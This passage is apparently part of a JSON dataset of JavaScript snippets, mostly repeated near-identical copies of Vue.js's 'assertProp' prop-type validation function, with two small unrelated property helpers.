type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n\\n if (value == null && !prop.required) {\\n return;\\n }\\n\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\\n return;\\n }\\n\\n var validator = prop.validator;\\n\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n }\",\n \"function assertProp(\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i], vm);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n var haveExpectedTypes = expectedTypes.some(function (t) {\\n return t;\\n });\\n if (!valid && haveExpectedTypes) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function check_property(obj, name, value)\\n{\\n property = Object.getOwnPropertyDescriptor(obj, name)\\n assert(typeof property === \\\"object\\\")\\n assert(property.value === value)\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n \\n if (!valid) {\\n warn(\\n getInvalidTypeMessage(name, value, expectedTypes),\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function isMapProperty(name) {\\n return isObjectProperty(name) || ['any','collect',\\n 'collectEntries','collectMany','countBy','dropWhile',\\n 'each','eachWithIndex','every','find','findAll',\\n 'findResult','findResults','get','getAt','groupBy',\\n 'inject','intersect','max','min',\\n 'putAll','putAt','reverseEach', 'clear',\\n 'sort','spread','subMap','add','take','takeWhile',\\n 'withDefault','count','drop','keySet',\\n 'put','size','isEmpty','remove','containsKey',\\n 'containsValue','values'].indexOf(name) >= 0;\\n }\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType);\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn('Invalid prop: type check failed for prop \\\"' + name + '\\\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType);\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType);\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n\\n if (value == null && !prop.required) {\\n return;\\n }\\n\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\\n return;\\n }\\n\\n var validator = prop.validator;\\n\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n\\n if (value == null && !prop.required) {\\n return;\\n }\\n\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\\n return;\\n }\\n\\n var validator = prop.validator;\\n\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n\\n if (value == null && !prop.required) {\\n return;\\n }\\n\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\\n return;\\n }\\n\\n var validator = prop.validator;\\n\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n\\n if (value == null && !prop.required) {\\n return;\\n }\\n\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n\\n if (!valid) {\\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\\n return;\\n }\\n\\n var validator = prop.validator;\\n\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n 